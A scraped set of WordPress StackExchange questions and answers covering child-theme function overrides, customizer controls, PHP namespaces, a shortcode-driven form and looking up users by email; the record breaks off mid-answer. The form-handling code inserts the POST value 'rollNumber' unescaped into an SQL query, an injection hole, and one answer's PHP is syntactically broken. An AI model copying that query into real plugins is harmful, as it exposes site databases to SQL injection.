<li>second argument of add filter (child function): <code>osu_twentyten_auto_excerpt_more</code></li>
<li>first argument add filter and remove filter: <code>exerpt more</code></li>
</ol>
<h3>My case, v1: replacing <code>tesseract_output_menu</code>:</h3>
<ol>
<li>functions used: <code>add filter</code>, <code>remove filter</code></li>
<li>second argument of remove filter (parent function to be replaced): <code>tesseract_output_menu</code></li>
<li>second argument of add filter (child function) : <code>child_tesseract_output_menu</code></li>
<li>first argument add filter and remove filter: <em>??? What is the function I need to put in the first argument???</em> </li>
</ol>
<p>I realize that I might instead want to align things this way</p>
<h3>My case, v2: replacing <code>wp_nav_menu</code>:</h3>
<ol>
<li>functions used: <code>add filter</code>, <code>remove filter</code></li>
<li>second argument of remove filter (parent function to be replaced): <code>wp_nav_menu</code></li>
<li>second argument of add filter (child function) : <code>child_wp_nav_menu</code></li>
<li>first argument add filter and remove filter: <code>tesseract_output_menu</code></li>
</ol>
<p>What is the best approach to take, if i should use v1 of my case what is the equalivalent of <code>excerpt_more</code> in my case?</p>
| [
{
"answer_id": 256198,
"author": "CoderScissorhands",
"author_id": 105196,
"author_profile": "https://wordpress.stackexchange.com/users/105196",
"pm_score": 0,
"selected": false,
"text": "<p>I realized an easier approach that worked that involved editing my child's header.php file </p>\n\n<ol>\n<li>Inside child's header.php file find all calls to the <code>wp_nav_menu</code> containing function called <code>tesseract_output_menu</code>.</li>\n<li>Replace those of calls to <code>tesseract_output_menu</code> a to a new function called <code>child_tesseract_output_menu</code>.</li>\n<li>Include the desired edited version of that function in my child theme's functions.php file.</li>\n</ol>\n\n<p>This is the walker class enabling function in my child theme's function.php file:</p>\n\n<pre><code>function child_tesseract_output_menu( $cont, $contClass, $location, $depth ) {\n\n switch( $location ) :\n\n case 'primary': $hblox = 'header'; break;\n case 'primary_right': $hblox = 'header_right'; break;\n case 'secondary': $hblox = 'footer'; break;\n case 'secondary_right': $hblox = 'footer_right'; break;\n\n endswitch;\n\n $locs = get_theme_mod('nav_menu_locations');\n\n $menu = get_theme_mod('tesseract_' . $hblox . '_menu_select');\n\n $isMenu = get_terms( 'nav_menu' ) ? TRUE : FALSE;\n $locReserved = ( $locs[$location] ) ? TRUE : FALSE;\n $menuSelected = ( is_string($menu) ) ? TRUE : FALSE;\n\n // IF the location set as parameter has an associated menu, it's returned as a key-value pair in the $locs array - where the key is the location and the value is the menu ID. We need this latter to get the menu slug required later -in some cases- in the wp_nav_menu params array.\n if ( $locReserved ) {\n $menu_id = $locs[$location]; // $value = $array[$key]\n $menuObject = wp_get_nav_menu_object( $menu_id );\n $menu_slug = $menuObject->slug;\n };\n $custSet = ( $menuSelected && ( $menu !== 'none' ) );\n\n if ( empty( $isMenu ) ) : //Case 1 - IF THERE'S NO MENU CREATED -> easy scenario: no location setting, no customizer setting ( this latter only appears if there IS at least one menu created by the theme user ) => display basic menu\n\n $walker = new Menu_With_Description; \n\n wp_nav_menu( array(\n 'theme_location' => 'primary',\n 'menu_class' => 'nav-menu',\n 'container_class' => '',\n 'container' => FALSE,\n 'depth' => $depth,\n 'walker' => $walker\n )\n );\n\n elseif ( !empty( $isMenu ) ) : //Case 2 - THERE'S AT LEAST ONE MENU CREATED\n\n if ( !$custSet && $locReserved ) { //no setting in customizer OR dropdown is set to blank value, location SET in Menus section => display menu associated with this location in Appearance ->\n\n$walker = new Menu_With_Description; \n\n wp_nav_menu( array(\n // 'menu' => $menuSlug,\n 'menu' => $menu_slug, \n 'theme_location' => $location,\n 'menu_class' => 'nav-menu',\n 'container_class' => $contClass,\n 'container' => $cont,\n 'depth' => $depth,\n 'walker' => $walker\n )\n );\n\n } else if ( !$custSet && !$locReserved ) { //no setting in customizer OR dropdown is set to blank value, location NOT SET in Menus section => display basic menu\n$walker = new Menu_With_Description; \n\n\n wp_nav_menu( array(\n 'theme_location' => 'primary',\n 'menu_class' => 'nav-menu',\n 'container_class' => '',\n 'container' => FALSE,\n 'depth' => $depth,\n 'walker' => $walker\n )\n );\n\n } else if ( $custSet ) { //menu set in customizer AND dropdown is NOT set to blank value, location SET OR NOT SET in Menus section => display menu set in customizer ( setting a menu to the given location in customizer will update any existing location-menu association in Appearance -> Menus, see function tesseract_set_menu_location() in functions.php )\n\n$walker = new Menu_With_Description; \n\n wp_nav_menu( array(\n 'menu' => $menu,\n 'theme_location' => $location,\n 'menu_class' => 'nav-menu',\n 'container_class' => $contClass,\n 'container' => $cont,\n 'depth' => $depth,\n 'walker' => $walker\n )\n );\n\n }\n\n endif;\n\n}\n</code></pre>\n"
},
{
"answer_id": 256199,
"author": "David Lee",
"author_id": 111965,
"author_profile": "https://wordpress.stackexchange.com/users/111965",
"pm_score": 1,
"selected": false,
"text": "<p>Go to your <code>functions.php</code> in your child theme add this:</p>\n\n<pre><code>function childtheme_override_tesseract_output_menu( $cont, $contClass, $location, $depth ) {\n//tesseract_output_menu function code modified as you wish here \n}\n</code></pre>\n\n<p>In your parent theme <code>functions.php</code>, wrap the <code>tesseract_output_menu</code> function like this:</p>\n\n<pre><code>if (function_exists('childtheme_override_tesseract_output_menu')) {\n\n /**\n * run the child override\n */\n function tesseract_output_menu() {\n childtheme_override_tesseract_output_menu();\n }\n\n} else {\n /**\n * run the original parent function\n */\n function tesseract_output_menu( $cont, $contClass, $location, $depth ) {\n //original code untouched \n }\n}\n</code></pre>\n\n<p>this way you can override the parent theme function, this is the standard way, i am not sure why the parent theme function its not already wrapped like that, you can see in the themes that come with wordpress the same code for it, so the function can be replaced <code>if ( ! function_exists( 'twentysixteen_setup' ) )</code>.</p>\n"
}
]
| 2017/02/12 | [
"https://wordpress.stackexchange.com/questions/256195",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105196/"
]
| I'm using the theme "Tesseract" as a parent theme, and I'd like to use the walker class to get menu descriptions. However, I am having trouble figuring out how to edit the php, because I don't know how to properly replace the parent theme's functions.
### I need to change a parent theme's function
According to [this page](http://www.wpbeginner.com/wp-themes/how-to-add-menu-descriptions-in-your-wordpress-themes/), I'm supposed to find is find the `wp_nav_menu()`, which they author suggests is most likely in header.php, and replace that function call with this.
```
<?php $walker = new Menu_With_Description; ?>
<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu', 'walker' => $walker ) ); ?>
```
The problem is that for my theme, `wp_nav_menu()` is getting called in my the Parent Theme's functions.php file, not in header.php, although the containing function (`tesseract_output_menu`) *is* called inside of header.php. What this means that I am going to, most likely, have to replace a parent theme's function, but I'm not sure how to do that the right way.
`tesseract_output_menu` is that function inside the parent theme function.php file that is called inside of header.php, I am going to try to change it to a function called `child_tesseract_output_menu`.
### This is the parent theme function:
```
function tesseract_output_menu( $cont, $contClass, $location, $depth ) {
switch( $location ) :
case 'primary': $hblox = 'header'; break;
case 'primary_right': $hblox = 'header_right'; break;
case 'secondary': $hblox = 'footer'; break;
case 'secondary_right': $hblox = 'footer_right'; break;
endswitch;
$locs = get_theme_mod('nav_menu_locations');
$menu = get_theme_mod('tesseract_' . $hblox . '_menu_select');
$isMenu = get_terms( 'nav_menu' ) ? TRUE : FALSE;
$locReserved = ( $locs[$location] ) ? TRUE : FALSE;
$menuSelected = ( is_string($menu) ) ? TRUE : FALSE;
// IF the location set as parameter has an associated menu, it's returned as a key-value pair in the $locs array - where the key is the location and the value is the menu ID. We need this latter to get the menu slug required later -in some cases- in the wp_nav_menu params array.
if ( $locReserved ) {
$menu_id = $locs[$location]; // $value = $array[$key]
$menuObject = wp_get_nav_menu_object( $menu_id );
$menu_slug = $menuObject->slug;
};
$custSet = ( $menuSelected && ( $menu !== 'none' ) );
if ( empty( $isMenu ) ) : //Case 1 - IF THERE'S NO MENU CREATED -> easy scenario: no location setting, no customizer setting ( this latter only appears if there IS at least one menu created by the theme user ) => display basic menu
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_class' => 'nav-menu',
'container_class' => '',
'container' => FALSE,
'depth' => $depth
)
);
elseif ( !empty( $isMenu ) ) : //Case 2 - THERE'S AT LEAST ONE MENU CREATED
if ( !$custSet && $locReserved ) { //no setting in customizer OR dropdown is set to blank value, location SET in Menus section => display menu associated with this location in Appearance ->
wp_nav_menu( array(
// 'menu' => $menuSlug,
'menu' => $menu_slug,
'theme_location' => $location,
'menu_class' => 'nav-menu',
'container_class' => $contClass,
'container' => $cont,
'depth' => $depth
)
);
} else if ( !$custSet && !$locReserved ) { //no setting in customizer OR dropdown is set to blank value, location NOT SET in Menus section => display basic menu
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_class' => 'nav-menu',
'container_class' => '',
'container' => FALSE,
'depth' => $depth
)
);
} else if ( $custSet ) { //menu set in customizer AND dropdown is NOT set to blank value, location SET OR NOT SET in Menus section => display menu set in customizer ( setting a menu to the given location in customizer will update any existing location-menu association in Appearance -> Menus, see function tesseract_set_menu_location() in functions.php )
wp_nav_menu( array(
'menu' => $menu,
'theme_location' => $location,
'menu_class' => 'nav-menu',
'container_class' => $contClass,
'container' => $cont,
'depth' => $depth
)
);
}
endif;
}
```
### Stack provides an example
From what I know I would probably want to use an action or filter to do this, as is demonstrated in `this question`:
[How to override parent functions in child themes?](https://wordpress.stackexchange.com/questions/7557/how-to-override-parent-functions-in-child-themes)
### The example isn't clear to me
The problem is that in example I'm trying to follow is not thoroughly explained and I don't quite understand how filters work yet. In that stack example, they seem to remove a function called `twentyten_auto_excerpt_more`, with one called
`osu_twentyten_auto_excerpt_more`, but they do so using a first argument called `excerpt_more`:
### The child override function in the Stack answer:
```
// Override read more link
function osu_twentyten_continue_reading_link() {
return ' <a href="'. get_permalink() . '">' . __( 'Read on <span class="meta-nav">→</span>', 'twentyten-child' ) . '</a>';
}
function osu_twentyten_auto_excerpt_more( $more ) {
return ' …' . osu_twentyten_continue_reading_link();
}
remove_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );
add_filter( 'excerpt_more', 'osu_twentyten_auto_excerpt_more' );
```
Since I want to change `tesseract_output_menu`, based on this example, I am pretty sure I would call my child function to replace the parent function `tesseract_output_menu` something like `child_tesseract_output_menu`,I think that is clear. But what I don't understand is what is the equivalent/analog of the first argument in my case, which is the same of `exerpt_more` in the above example. They don't say what `excerpt_more` is. I need to know what the first argument of the `remove_filter and`add\_filter` need to be in my case.
To make this clearer
### Stack example
1. functions used: `add filter`, `remove filter`
2. second argument of remove filter (parent function to be replaced): `twentyten_auto_excerpt_more`
3. second argument of add filter (child function): `osu_twentyten_auto_excerpt_more`
4. first argument add filter and remove filter: `exerpt more`
### My case, v1: replacing `tesseract_output_menu`:
1. functions used: `add filter`, `remove filter`
2. second argument of remove filter (parent function to be replaced): `tesseract_output_menu`
3. second argument of add filter (child function) : `child_tesseract_output_menu`
4. first argument add filter and remove filter: *??? What is the function I need to put in the first argument???*
I realize that I might instead want to align things this way
### My case, v2: replacing `wp_nav_menu`:
1. functions used: `add filter`, `remove filter`
2. second argument of remove filter (parent function to be replaced): `wp_nav_menu`
3. second argument of add filter (child function) : `child_wp_nav_menu`
4. first argument add filter and remove filter: `tesseract_output_menu`
What is the best approach to take, if i should use v1 of my case what is the equalivalent of `excerpt_more` in my case? | Go to your `functions.php` in your child theme add this:
```
function childtheme_override_tesseract_output_menu( $cont, $contClass, $location, $depth ) {
//tesseract_output_menu function code modified as you wish here
}
```
In your parent theme `functions.php`, wrap the `tesseract_output_menu` function like this:
```
if (function_exists('childtheme_override_tesseract_output_menu')) {
/**
* run the child override
*/
function tesseract_output_menu() {
childtheme_override_tesseract_output_menu();
}
} else {
/**
* run the original parent function
*/
function tesseract_output_menu( $cont, $contClass, $location, $depth ) {
//original code untouched
}
}
```
this way you can override the parent theme function, this is the standard way, i am not sure why the parent theme function its not already wrapped like that, you can see in the themes that come with wordpress the same code for it, so the function can be replaced `if ( ! function_exists( 'twentysixteen_setup' ) )`. |
256,223 | <p>I trying this directly in my theme:</p>
<p><code>
$mods = $wp_customize->get_control('header_text');
if (isset($mods)) {
echo 'YES';
} else {
echo 'No';
}
</code>
But nothing happened. and in debug.log : undefined variable wp_customize...</p>
| [
{
"answer_id": 256224,
"author": "Adson Cicilioti",
"author_id": 71254,
"author_profile": "https://wordpress.stackexchange.com/users/71254",
"pm_score": 0,
"selected": false,
"text": "<p>Use <a href=\"https://codex.wordpress.org/Function_Reference/get_theme_mod\" rel=\"nofollow noreferrer\">get_theme_mod</a> and this work:</p>\n\n<p><code>\n$mod = get_theme_mod('header_text');\n if ( $mod != 0 ) {\n # code...\n echo 'YES';\n} else {\n echo 'No';\n}\n</code>\nIn this case I wanted to check if the Title and the slogam of the site was hidden or not.</p>\n\n<p>To get the string> ID of the MOD is simply. inspect the option with the Customizer open, as show the image:</p>\n\n<p><a href=\"https://i.stack.imgur.com/6C8pZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6C8pZ.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 256459,
"author": "Weston Ruter",
"author_id": 8521,
"author_profile": "https://wordpress.stackexchange.com/users/8521",
"pm_score": 2,
"selected": true,
"text": "<p>I'm not sure what exactly you're trying to accomplish, but if you're wanting to manipulate customizer controls until the <code>customize_register</code> action has fired. So do something like this:</p>\n\n<pre><code>add_action( 'customize_register', function( $wp_customize ) {\n $control = $wp_customize->get_control( 'header_text' );\n if ( $control ) {\n error_log( 'header_text control exists' );\n } else {\n error_log( 'header_text control does not exist' );\n }\n}, 100 );\n</code></pre>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256223",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/71254/"
]
| I trying this directly in my theme:
`$mods = $wp_customize->get_control('header_text');
if (isset($mods)) {
echo 'YES';
} else {
echo 'No';
}`
But nothing happened. and in debug.log : undefined variable wp\_customize... | I'm not sure what exactly you're trying to accomplish, but if you're wanting to manipulate customizer controls until the `customize_register` action has fired. So do something like this:
```
add_action( 'customize_register', function( $wp_customize ) {
$control = $wp_customize->get_control( 'header_text' );
if ( $control ) {
error_log( 'header_text control exists' );
} else {
error_log( 'header_text control does not exist' );
}
}, 100 );
``` |
256,241 | <p>I am trying to manually restore my WordPress site which has been backed up using Updraft plus plugin. I uploaded & extracted all the files to their respective folder. However, when I tried to upload database via PhpMyAdmin I got following error.
<a href="https://i.stack.imgur.com/M9etI.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/M9etI.png" alt="Error image"></a></p>
<p>How to fix this issue?</p>
| [
{
"answer_id": 256224,
"author": "Adson Cicilioti",
"author_id": 71254,
"author_profile": "https://wordpress.stackexchange.com/users/71254",
"pm_score": 0,
"selected": false,
"text": "<p>Use <a href=\"https://codex.wordpress.org/Function_Reference/get_theme_mod\" rel=\"nofollow noreferrer\">get_theme_mod</a> and this work:</p>\n\n<p><code>\n$mod = get_theme_mod('header_text');\n if ( $mod != 0 ) {\n # code...\n echo 'YES';\n} else {\n echo 'No';\n}\n</code>\nIn this case I wanted to check if the Title and the slogam of the site was hidden or not.</p>\n\n<p>To get the string> ID of the MOD is simply. inspect the option with the Customizer open, as show the image:</p>\n\n<p><a href=\"https://i.stack.imgur.com/6C8pZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6C8pZ.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 256459,
"author": "Weston Ruter",
"author_id": 8521,
"author_profile": "https://wordpress.stackexchange.com/users/8521",
"pm_score": 2,
"selected": true,
"text": "<p>I'm not sure what exactly you're trying to accomplish, but if you're wanting to manipulate customizer controls until the <code>customize_register</code> action has fired. So do something like this:</p>\n\n<pre><code>add_action( 'customize_register', function( $wp_customize ) {\n $control = $wp_customize->get_control( 'header_text' );\n if ( $control ) {\n error_log( 'header_text control exists' );\n } else {\n error_log( 'header_text control does not exist' );\n }\n}, 100 );\n</code></pre>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256241",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113183/"
]
| I am trying to manually restore my WordPress site which has been backed up using Updraft plus plugin. I uploaded & extracted all the files to their respective folder. However, when I tried to upload database via PhpMyAdmin I got following error.
[](https://i.stack.imgur.com/M9etI.png)
How to fix this issue? | I'm not sure what exactly you're trying to accomplish, but if you're wanting to manipulate customizer controls until the `customize_register` action has fired. So do something like this:
```
add_action( 'customize_register', function( $wp_customize ) {
$control = $wp_customize->get_control( 'header_text' );
if ( $control ) {
error_log( 'header_text control exists' );
} else {
error_log( 'header_text control does not exist' );
}
}, 100 );
``` |
256,242 | <p>Here is my code.</p>
<pre><code>defined( 'ABSPATH' ) || exit;
namespace JSR;
class myClass{
...
}
</code></pre>
<p>This is giving below error</p>
<pre><code>Global code should be enclosed in global namespace declaration
</code></pre>
<p>Any idea how to fix it?</p>
| [
{
"answer_id": 256246,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 3,
"selected": true,
"text": "<p>From the PHP manual on <a href=\"http://php.net/manual/en/language.namespaces.definition.php\" rel=\"nofollow noreferrer\">defining namespaces</a>:</p>\n\n<blockquote>\n <p>Namespaces are declared using the namespace keyword. <strong>A file containing\n a namespace must declare the namespace at the top of the file before\n any other code - with one exception: the <em>declare</em> keyword.</strong></p>\n</blockquote>\n\n<p>To fix the issue, simply make sure that your namespace declaration comes before the other code:</p>\n\n<pre><code>namespace JSR;\n\ndefined( 'ABSPATH' ) || exit;\n\nclass myClass{\n\n}\n</code></pre>\n"
},
{
"answer_id": 256247,
"author": "AddWeb Solution Pvt Ltd",
"author_id": 73643,
"author_profile": "https://wordpress.stackexchange.com/users/73643",
"pm_score": 0,
"selected": false,
"text": "<p>You can use \"Use\" keyword, to access your class of that namespace. </p>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256242",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9821/"
]
| Here is my code.
```
defined( 'ABSPATH' ) || exit;
namespace JSR;
class myClass{
...
}
```
This is giving below error
```
Global code should be enclosed in global namespace declaration
```
Any idea how to fix it? | From the PHP manual on [defining namespaces](http://php.net/manual/en/language.namespaces.definition.php):
>
> Namespaces are declared using the namespace keyword. **A file containing
> a namespace must declare the namespace at the top of the file before
> any other code - with one exception: the *declare* keyword.**
>
>
>
To fix the issue, simply make sure that your namespace declaration comes before the other code:
```
namespace JSR;
defined( 'ABSPATH' ) || exit;
class myClass{
}
``` |
256,251 | <p>I would like to lock whole WordPress site (all pages, all posts, whatever content I will add in the future) with login page same as for example it is made here (clear your cookies) <a href="http://facebook.com" rel="nofollow noreferrer">http://facebook.com</a>.</p>
<p>How to achieve this functionality?</p>
| [
{
"answer_id": 256246,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 3,
"selected": true,
"text": "<p>From the PHP manual on <a href=\"http://php.net/manual/en/language.namespaces.definition.php\" rel=\"nofollow noreferrer\">defining namespaces</a>:</p>\n\n<blockquote>\n <p>Namespaces are declared using the namespace keyword. <strong>A file containing\n a namespace must declare the namespace at the top of the file before\n any other code - with one exception: the <em>declare</em> keyword.</strong></p>\n</blockquote>\n\n<p>To fix the issue, simply make sure that your namespace declaration comes before the other code:</p>\n\n<pre><code>namespace JSR;\n\ndefined( 'ABSPATH' ) || exit;\n\nclass myClass{\n\n}\n</code></pre>\n"
},
{
"answer_id": 256247,
"author": "AddWeb Solution Pvt Ltd",
"author_id": 73643,
"author_profile": "https://wordpress.stackexchange.com/users/73643",
"pm_score": 0,
"selected": false,
"text": "<p>You can use \"Use\" keyword, to access your class of that namespace. </p>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256251",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/43884/"
]
| I would like to lock whole WordPress site (all pages, all posts, whatever content I will add in the future) with login page same as for example it is made here (clear your cookies) <http://facebook.com>.
How to achieve this functionality? | From the PHP manual on [defining namespaces](http://php.net/manual/en/language.namespaces.definition.php):
>
> Namespaces are declared using the namespace keyword. **A file containing
> a namespace must declare the namespace at the top of the file before
> any other code - with one exception: the *declare* keyword.**
>
>
>
To fix the issue, simply make sure that your namespace declaration comes before the other code:
```
namespace JSR;
defined( 'ABSPATH' ) || exit;
class myClass{
}
``` |
256,260 | <p>I'm using shortcode to process my HTML form. However, upon submit no result is being displayed. I'm not getting where I'm going wrong.</p>
<pre><code><?php
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
//result display form begins
function display_result_form_fields(){
ob_start(); ?>
<form id="result_form" action="" method="POST">
<fieldset>
<p>
<label for="rollNumber"><?php _e('Roll Number'); ?></label>
<input name="rollNumber" id="rollNumber" class="required" type="number"/>
</p>
<p>
<input type="submit" value="<?php _e('Submit'); ?>"/>
</p>
</fieldset>
</form>
<?php
return ob_get_clean();
}
function form_processing(){
if(isset($_POST['Submit'])){
global $wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo "Dear student, congratulations";}
}
//shortcode begins here
function result_form() {
form_processing();
$output = display_result_form_fields();
return $output;
}
add_shortcode('result_form', 'result_form'); //create shortcode
add_filter('widget_text','do_shortcode'); // Enable shortcodes in text widgets
?>
</code></pre>
| [
{
"answer_id": 256265,
"author": "AddWeb Solution Pvt Ltd",
"author_id": 73643,
"author_profile": "https://wordpress.stackexchange.com/users/73643",
"pm_score": 2,
"selected": true,
"text": "<p>You missed <strong>name</strong> attribute of <code><input type=\"submit\" value=\"<?php _e('Submit'); ?>\"/></code> HTML tag.</p>\n\n<p>i.e.</p>\n\n<p>It should be looks like: <code><input type=\"submit\" name=\"Submit\" value=\"<?php _e('Submit'); ?>\"/></code></p>\n\n<p>Else, You have to change if condition inside <code>function form_processing()</code></p>\n\n<p><strong>OLD:</strong>\nif(isset($_POST['Submit'])){</p>\n\n<p><strong>Replace with:</strong>\nif(isset($_POST['rollNumber'])){</p>\n\n<p>Hope this will helps you.</p>\n"
},
{
"answer_id": 256270,
"author": "Himanshu",
"author_id": 112658,
"author_profile": "https://wordpress.stackexchange.com/users/112658",
"pm_score": 0,
"selected": false,
"text": "<p>With the help of @bagpipper and @AddWeb-Solution-Pvt-Ltd I finally managed to sort this issue.</p>\n\n<pre><code><?php\n\nfunction installer(){\n include('installer.php');\n}\nregister_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database\n\n//result display form begins\n\nfunction display_result_form_fields(){\n ob_start(); ?> \n <form id=\"result_form\" action=\"\" method=\"POST\">\n <fieldset>\n <p>\n <label for=\"rollNumber\"><?php _e('Roll Number'); ?></label>\n <input name=\"rollNumber\" id=\"rollNumber\" class=\"required\" type=\"number\"/>\n </p>\n <p>\n <input type=\"submit\" name = \"submit\" value=\"Submit\"/>\n </p>\n </fieldset>\n </form>\n <?php\n return ob_get_clean();\n}\n\nfunction form_processing(){\n global $wpdb;\n $student_id = $_POST['rollNumber'];\n $query = \"SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id\";\n $result = $wpdb->get_row($query);\n echo \"Dear \".$result->\", \";\n }\n\n\n//shortcode begins here\nfunction result_form() {\n ob_start(); \n if(isset($_POST['submit'])){\n form_processing();\n }\n else{\n $output = display_result_form_fields();\n return $output;\n }\n return ob_get_clean();\n }\n\nadd_shortcode('result_form', 'result_form'); //create shortcode\nadd_filter('widget_text','do_shortcode'); // Enable shortcodes in text widgets\n?>\n</code></pre>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256260",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112658/"
]
| I'm using shortcode to process my HTML form. However, upon submit no result is being displayed. I'm not getting where I'm going wrong.
```
<?php
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
//result display form begins
function display_result_form_fields(){
ob_start(); ?>
<form id="result_form" action="" method="POST">
<fieldset>
<p>
<label for="rollNumber"><?php _e('Roll Number'); ?></label>
<input name="rollNumber" id="rollNumber" class="required" type="number"/>
</p>
<p>
<input type="submit" value="<?php _e('Submit'); ?>"/>
</p>
</fieldset>
</form>
<?php
return ob_get_clean();
}
function form_processing(){
if(isset($_POST['Submit'])){
global $wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo "Dear student, congratulations";}
}
//shortcode begins here
function result_form() {
form_processing();
$output = display_result_form_fields();
return $output;
}
add_shortcode('result_form', 'result_form'); //create shortcode
add_filter('widget_text','do_shortcode'); // Enable shortcodes in text widgets
?>
``` | You missed **name** attribute of `<input type="submit" value="<?php _e('Submit'); ?>"/>` HTML tag.
i.e.
It should be looks like: `<input type="submit" name="Submit" value="<?php _e('Submit'); ?>"/>`
Else, You have to change if condition inside `function form_processing()`
**OLD:**
if(isset($\_POST['Submit'])){
**Replace with:**
if(isset($\_POST['rollNumber'])){
Hope this will helps you. |
256,269 | <p>I m trying to extract the firstname and lastname fields of a user whose email-id I know, and I m trying to display those in a backend page using a plugin, can someone please give me a short code for that, I just can,t find where these values are stored</p>
| [
{
"answer_id": 256271,
"author": "Sonali",
"author_id": 84167,
"author_profile": "https://wordpress.stackexchange.com/users/84167",
"pm_score": 1,
"selected": false,
"text": "<p>You can use this:</p>\n\n<pre><code> $user = get_user_by( 'email', '[email protected]' );/*$user gives you all data*/\n $first_name = $user->first_name;/*$first_name gives you first name*/\n $last_name = $user->last_name;\n</code></pre>\n"
},
{
"answer_id": 256273,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 1,
"selected": false,
"text": "<p>If you want a shortcode to do it, you can define the shortcode this way in your theme's <code>functions.php</code>:</p>\n\n<pre><code><?php \nfunction custom_user_func( $atts ) {\n $user= $atts['email'];\n $user_info = get_user_by( 'email', $user );\n $username = $user_info->user_login;\n $first_name = $user_info->first_name;\n $last_name = $user_info->last_name;\n return \"First name = {$first_name}, Last name = {$last_name}, Username = {$username}\";\n}\nadd_shortcode( 'customuser', 'custom_user_func' ); \n?>\n</code></pre>\n\n<p>Then, simply use <code>[customuser email=\"[email protected]\"]</code> wherever you want to show these information. You can modify the output the way you want.</p>\n"
},
{
"answer_id": 256274,
"author": "AddWeb Solution Pvt Ltd",
"author_id": 73643,
"author_profile": "https://wordpress.stackexchange.com/users/73643",
"pm_score": 0,
"selected": false,
"text": "<p>You can get user's details by user's email using <code>function get_user_by()</code>.\nTo get Firstname and Lastname you can user following snippet:</p>\n\n<pre><code><?php\n $user = get_user_by( 'email', '[email protected]' );\n echo 'User is ' . $user->first_name . ' ' . $user->last_name;\n?>\n</code></pre>\n\n<p>Hope this solution will help you.</p>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256269",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113198/"
]
| I m trying to extract the firstname and lastname fields of a user whose email-id I know, and I m trying to display those in a backend page using a plugin, can someone please give me a short code for that, I just can,t find where these values are stored | You can use this:
```
$user = get_user_by( 'email', '[email protected]' );/*$user gives you all data*/
$first_name = $user->first_name;/*$first_name gives you first name*/
$last_name = $user->last_name;
``` |
256,275 | <p>I have a WP site currently running 4.7.2 version, and I use version control system. I did check both file configurations and database, there is nothing to force the site to auto update, also there are no plugins installed for that purpose. Still the site keeps updates to the latest version. If I understand correctly when WP detects version control systems it stops the updates, is that correct? If yes, could someone point me to the correct direction on what to check out next?</p>
| [
{
"answer_id": 256271,
"author": "Sonali",
"author_id": 84167,
"author_profile": "https://wordpress.stackexchange.com/users/84167",
"pm_score": 1,
"selected": false,
"text": "<p>You can use this:</p>\n\n<pre><code> $user = get_user_by( 'email', '[email protected]' );/*$user gives you all data*/\n $first_name = $user->first_name;/*$first_name gives you first name*/\n $last_name = $user->last_name;\n</code></pre>\n"
},
{
"answer_id": 256273,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 1,
"selected": false,
"text": "<p>If you want a shortcode to do it, you can define the shortcode this way in your theme's <code>functions.php</code>:</p>\n\n<pre><code><?php \nfunction custom_user_func( $atts ) {\n $user= $atts['email'];\n $user_info = get_user_by( 'email', $user );\n $username = $user_info->user_login;\n $first_name = $user_info->first_name;\n $last_name = $user_info->last_name;\n return \"First name = {$first_name}, Last name = {$last_name}, Username = {$username}\";\n}\nadd_shortcode( 'customuser', 'custom_user_func' ); \n?>\n</code></pre>\n\n<p>Then, simply use <code>[customuser email=\"[email protected]\"]</code> wherever you want to show these information. You can modify the output the way you want.</p>\n"
},
{
"answer_id": 256274,
"author": "AddWeb Solution Pvt Ltd",
"author_id": 73643,
"author_profile": "https://wordpress.stackexchange.com/users/73643",
"pm_score": 0,
"selected": false,
"text": "<p>You can get user's details by user's email using <code>function get_user_by()</code>.\nTo get Firstname and Lastname you can user following snippet:</p>\n\n<pre><code><?php\n $user = get_user_by( 'email', '[email protected]' );\n echo 'User is ' . $user->first_name . ' ' . $user->last_name;\n?>\n</code></pre>\n\n<p>Hope this solution will help you.</p>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256275",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113201/"
]
| I have a WP site currently running 4.7.2 version, and I use version control system. I did check both file configurations and database, there is nothing to force the site to auto update, also there are no plugins installed for that purpose. Still the site keeps updates to the latest version. If I understand correctly when WP detects version control systems it stops the updates, is that correct? If yes, could someone point me to the correct direction on what to check out next? | You can use this:
```
$user = get_user_by( 'email', '[email protected]' );/*$user gives you all data*/
